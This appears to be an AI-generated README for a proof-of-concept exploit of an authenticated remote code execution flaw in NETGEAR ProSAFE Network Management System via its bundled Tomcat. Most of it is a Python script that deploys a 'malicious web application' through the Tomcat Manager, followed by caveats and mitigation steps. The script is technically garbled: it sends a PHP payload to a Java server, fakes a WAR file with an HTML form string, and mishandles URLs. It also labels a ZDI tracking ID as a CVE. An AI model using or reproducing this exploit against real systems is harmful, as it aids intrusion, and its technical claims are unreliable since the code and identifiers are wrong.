Here’s a structured README.md for the NETGEAR ProSAFE Network Management System Remote Code Execution (RCE) vulnerability PoC:

Proof of Concept (PoC) for Remote Code Execution in NETGEAR ProSAFE Network Management System

This repository contains a Proof of Concept (PoC) script demonstrating a Remote Code Execution (RCE) vulnerability in NETGEAR ProSAFE Network Management System. The vulnerability is due to the use of a vulnerable version of Apache Tomcat within the product installer. This issue allows authenticated attackers to execute arbitrary code on affected installations.

Vulnerability Description

CVE-ID: ZDI-CAN-22868

Overview: NETGEAR ProSAFE Network Management System contains a remote code execution vulnerability due to the use of a vulnerable version of Apache Tomcat. An attacker with authentication can exploit this vulnerability to execute arbitrary code on the affected system in the context of SYSTEM.

Affected Versions:

NETGEAR ProSAFE Network Management System versions with vulnerable Apache Tomcat versions.

Authentication: Required

PoC Details

This PoC demonstrates how an attacker can exploit the vulnerability to achieve remote code execution. The specific flaw lies within the product installer due to the use of an outdated or vulnerable Apache Tomcat version.

PoC Script

The following script illustrates how to exploit this RCE vulnerability. Ensure you have appropriate permissions before running this PoC.

Important: This PoC is for educational purposes only and should not be used for unauthorized or malicious activities.

import requests

# Configuration
target_url = "http://target-ip:port/manager/html"  # Change this to the Tomcat Manager URL of the target
username = "admin"  # Change to the valid username
password = "password"  # Change to the valid password

# The payload to be executed on the remote server
payload = """
<?php
    // Payload to execute arbitrary PHP code
    system('whoami');
?>
"""

# Tomcat Manager URL path for deploying a new web application
deploy_url = f"{target_url}/deploy?path=/example&update=true"

# Headers for authentication
headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

def exploit_rce(url, username, password, payload):
    """
    Exploit the RCE vulnerability by deploying a malicious web application.

    Args:
        url (str): The Tomcat Manager URL.
        username (str): The Tomcat Manager username.
        password (str): The Tomcat Manager password.
        payload (str): The malicious payload to be executed.
    """
    try:
        # Create a new web application with the malicious payload
        response = requests.post(
            url,
            headers=headers,
            data={
                "path": "/example",
                "war": f"<form method='post' enctype='multipart/form-data'><input type='file' name='file' value='{payload}'/></form>"
            },
            auth=(username, password)
        )
        
        # Print the response details
        print("Status Code:", response.status_code)
        print("Response Body:", response.text)
        
        if response.status_code == 200 and "Deployed application" in response.text:
            print("[+] Successfully deployed the malicious web application.")
        else:
            print("[-] Failed to deploy the malicious web application.")
    except requests.RequestException as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    print(f"Exploiting RCE vulnerability at: {deploy_url}")
    exploit_rce(deploy_url, username, password, payload)

Explanation

Configuration: Set target_url to the Tomcat Manager URL of the target system, and update username and password with valid credentials.
Payload: The payload is a simple PHP script that executes a system command to demonstrate code execution.
Exploit Function: The exploit_rce() function sends a POST request to deploy the malicious web application.
Deployment: The script attempts to deploy a new web application with the malicious payload and prints the result.

Important Considerations

Permissions: Ensure you have explicit permission to test this vulnerability on the target system. Unauthorized testing is illegal and unethical.
Testing Environment: Conduct tests in a controlled environment to avoid impacting production systems.
Ethical Use: Use this PoC responsibly and only in authorized contexts.

Mitigation

To mitigate this vulnerability, take the following steps:

Update Tomcat: Upgrade to a version of Apache Tomcat that has patched the vulnerability.
Secure Access: Ensure Tomcat Manager and other sensitive interfaces are secured and accessible only to authorized users.
Review Configurations: Regularly review and harden the configuration of web applications and servers.

By following these steps, you can address the RCE vulnerability in NETGEAR ProSAFE Network Management System and enhance overall security.

This README.md provides a detailed description and PoC script for the RCE vulnerability, including setup instructions, considerations, and mitigation advice.